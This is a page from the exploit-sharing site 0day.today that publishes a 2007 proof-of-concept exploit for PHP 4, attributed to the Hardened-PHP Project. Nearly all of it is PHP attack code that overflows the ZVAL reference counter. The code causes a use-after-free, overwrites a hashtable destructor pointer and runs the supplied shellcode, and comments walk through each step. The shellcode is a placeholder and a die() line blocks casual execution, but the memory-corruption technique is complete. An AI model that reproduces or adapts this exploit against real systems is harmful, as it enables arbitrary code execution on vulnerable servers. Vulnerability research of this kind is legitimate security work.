0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
PHP 4 Userland ZVAL Reference Counter Overflow Exploit PoC
========================================================== PHP 4 Userland ZVAL Reference Counter Overflow Exploit PoC ========================================================== <?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP 4 - ZVAL Reference Counter Overflow // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // You can put in any shellcode you want. Just make sure that the // shellcode string is long enough to not end up in PHP's internal // memory cache $shellcode = str_repeat(chr(0xcc), 500); // The basic idea of this exploit is: // 1) Create a string that has the same size as a Hashtable // 2) Create 65536 references to it to overflow the refcount // 3) Free one of these references // => Refcount drops down to 0 // => String gets freed // 4) Free some more zvals // 5) Create a new array with one element // => Put shellcode in the key // => Hashtable struct will be in the same place as the string // 6) Use string to directly access the content of the Hashtable // => Read pointer to first bucket // => Add 32 bytes, offset to array key // => Write pointer to the destructor field // 7) Unset array => Executes code in $shellcode //////////////////////////////////////////////////////////////////////// // If you touch anything below this line you have to debug it yourself //////////////////////////////////////////////////////////////////////// $________________________str = str_repeat("A", 39); $________________________yyy = &$________________________str; $________________________xxx = &$________________________str; for ($i = 0; $i < 65534; $i++) $arr[] = &$________________________str; $________________________aaa = " XXXXX "; $________________________aab = " XXXx.xXXX "; $________________________aac = " XXXx.xXXX "; $________________________aad = " XXXXX "; unset($________________________xxx); unset($________________________aaa); unset($________________________aab); unset($________________________aac); unset($________________________aad); $arr = array($shellcode => 1); $addr = unpack("L", substr($________________________str, 6*4, 4)); $addr = $addr[1] + 32; $addr = pack("L", $addr); for ($i=0; $i<strlen($addr); $i++) { $________________________str[8*4+$i] = $addr[$i]; $________________________yyy[8*4+$i] = $addr[$i]; } unset($arr); ?> # 0day.today [2024-11-16] #